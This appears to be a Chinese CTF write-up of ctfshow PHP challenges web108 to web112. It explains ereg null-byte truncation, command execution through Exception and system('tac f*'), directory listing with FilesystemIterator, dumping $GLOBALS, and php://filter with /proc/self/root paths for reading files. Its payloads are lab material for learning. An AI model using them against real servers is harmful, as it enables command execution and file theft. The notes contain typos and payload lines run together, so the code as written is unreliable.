1.web108
strrev() 反转字符串
echo strrev("Hello world!"); // 输出 "!dlrow olleH"?>
ereg 存在空字符截断(只会匹配%00前面的字符),这个函数匹配到为true,没有匹配到为false,877为0x36d的十进制数值
payload:
c=a%00778
2.web109
类可以输出,就是当类被当作字符串执行,会调用__trosting魔术方法,这个类要有这个魔术方法,并且要有返回值才可以输出,这个值要可控
class a{public $b;public function __constrcut($a){$this->b=$a}public funciton __toString(){return $this->b;}}$c=echo new a('aaa');#v1=a#v2=aaa
echo new Exception(system(‘echo phpinfo’)())
会先输出phpinfo,之后在执行phpinfo,最后抛出异常,需要执行完函数把函数的结果在通过异常进行抛出,执行顺序为什么时这样的因为不是这样的Exception(“system(‘echo phpinfo’)()”),不是当作一个整体进行输出,需要执行完才能把命令执行的结果当作整体进行输出
payload:
v1=Exception();system('tac f*');//&v2=av1=Exception&v2=system('tac f*'));//v1=ReflectionClass&v2=system('tac f*')
3.web110
getcwd获取当前目录,DirectoryIterator遍历目录,文件名称(. … 1.c) FilesystemIterator遍历目录名+文件(/1.c),echo new DirectoryIterator(getcwd())只输出第一个
都是获取目录下的文件
payload:
v1=FilesystemIterator&v2=getcwd
4.web111
$GLOBALS —包含全局作用域中可用的全部变量
$v2=GLOBALS
$$v2=$GLOBALS
&$ v 2 表示取 v2表示取 v2表示取GLOBALS的所有值
&引用表示不同变量指向同一值
$a='djkad';$b=&a;echo $b; #djkadecho $a; #djkadvar_dump($GLOBALS); #会输出$a,$b的值等
payload:
v1=ctfshow&v2=GLOBALS
5.web112
考查的是php伪协议,没想到
payload:
php://filter/resource=flag.phpphp://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.phpphp://filter/read=convert.quoted-printable-encode/resource=flag.phpcompress.zlib://flag.php/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
参考文章:
php特性
来源地址:https://blog.csdn.net/m0_62207170/article/details/132466531